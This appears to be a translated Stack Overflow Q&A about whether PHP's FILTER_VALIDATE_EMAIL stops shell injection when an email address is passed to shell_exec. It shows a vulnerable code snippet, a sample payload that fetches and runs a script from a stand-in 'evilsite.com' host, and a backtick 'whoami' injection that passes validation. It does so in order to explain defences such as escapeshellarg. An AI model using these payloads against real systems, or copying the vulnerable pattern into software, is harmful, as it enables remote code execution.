【问题标题】:Is FILTER_VALIDATE_EMAIL sufficient to stop shell injection?FILTER_VALIDATE_EMAIL 是否足以停止 shell 注入?
【发布时间】:2015-06-12 19:24:50
【问题描述】:

所以我打算使用shell_exec() 来处理运行发送电子邮件的 php 脚本。

一切都很好,但我只是有点担心只使用FILTER_VALIDATE_EMAIL 来确保不会发生注入的安全隐患。

因此,例如,我将使用与此类似的东西:

$email=$_POST['email'];
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo 'Nope ...';
} else {
    shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &);
}

所以,显然没有验证,我可以提交我的电子邮件,如下所示:

'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; '

所有的地狱都可能破裂......

这是 100% 的注入证明(我们知道)还是我应该添加其他内容?

【问题讨论】:

    标签: php code-injection shell-exec


    【解决方案1】:

    FILTER_VALIDATE_EMAIL 实现基于Michael Rushton’s Email Address Validation,它使用RFC 5321 验证输入,即。例如,Mailbox production rule

    这些电子邮件地址比实际使用的电子邮件地址更广泛。例如,RFC 5321 允许在 Local-part 中引用字符串,例如 "…"@example.com

    这允许注入任意命令,例如:

    "'`whoami`'"@example.com
    

    这将在你的 shell 命令中结束:

    /usr/bin/php /var/www/mysite/includes/sendemail '"'`whoami`'"@example.com' > /dev/null 2>/dev/null &
    

    生成的sendmail 参数值将是引用whoami 的结果,例如"markus"@example.com

    您会发现 FILTER_VALIDATE_EMAIL 根本不适合验证 shell 参数,因为它本来就不适合。

    使用用于转义 shell 参数的函数,而不是像 escapeshellarg 用于转义单个参数或 escapeshellcmd 用于任意参数。

    一般来说,如果您可以使用内置 PHP 功能实现相同的功能,您应该避免使用 shell 命令,因为即使是 escapeshellarg is not free of bugs

    【讨论】:

      【解决方案2】:

      这是 100% 的注入证明(我们知道)还是我应该添加其他内容?

      这里对数据库提出了同样的问题:Does FILTER_VALIDATE_EMAIL make a string safe for insertion in database?

      如果filter_var($var, FILTER_VALIDATE_EMAIL) 对数据库不安全,那么它对于命令行可能不够安全。

      如果您确实需要转义字符串以在 shell 中使用,请使用escapeshellarg()escapeshellcmd(),就像Filter var for calling a shellscript with system on php 的答案一样。请务必阅读 PHP 网站上的 API 文档。

      但首先,您应该do some research on OWASP 了解应用程序安全的最佳实践。

      逃避和任何其他对策都是无效的,有很多向量可以绕过它们中的每一个;不要相信新手开发者告诉你的话。

      您可以通过将电子邮件写入临时文件,然后指示您的 sendemail 应用程序从文件中读取(如果可以)来完全避免此问题。

      或者,如果它适用于您的主机配置,您可以使用 PHP 的 mail() 方法 - 请参阅 How to send an email using PHP?

      不过,请继续保持安全意识。 PHP's mail(): What are potential issues to watch out for?

      【讨论】:

      • 啊,谢谢。我认为escapeshellarg() 功能最适合我的需求。并感谢 OWASP 参考,夜间阅读的好一点:D ...另外,我不使用mail(),因为我使用多个远程邮件服务器,所以我发现只打开一个 tls 套接字到相关服务器并发送'直到我心满意足。
      • 很高兴它有帮助!通过 shell 命令传递任何用户生成的内容都是危险的。我真的建议通过将电子邮件内容写入文件并将文件名传递给脚本来回避安全问题。
      猜你喜欢
      • 2011-10-16
      • 2016-02-19
      • 2017-09-24
      • 1970-01-01
      • 2010-10-28
      • 1970-01-01
      • 2011-01-08
      • 1970-01-01
      • 2011-10-25
      相关资源
      最近更新 更多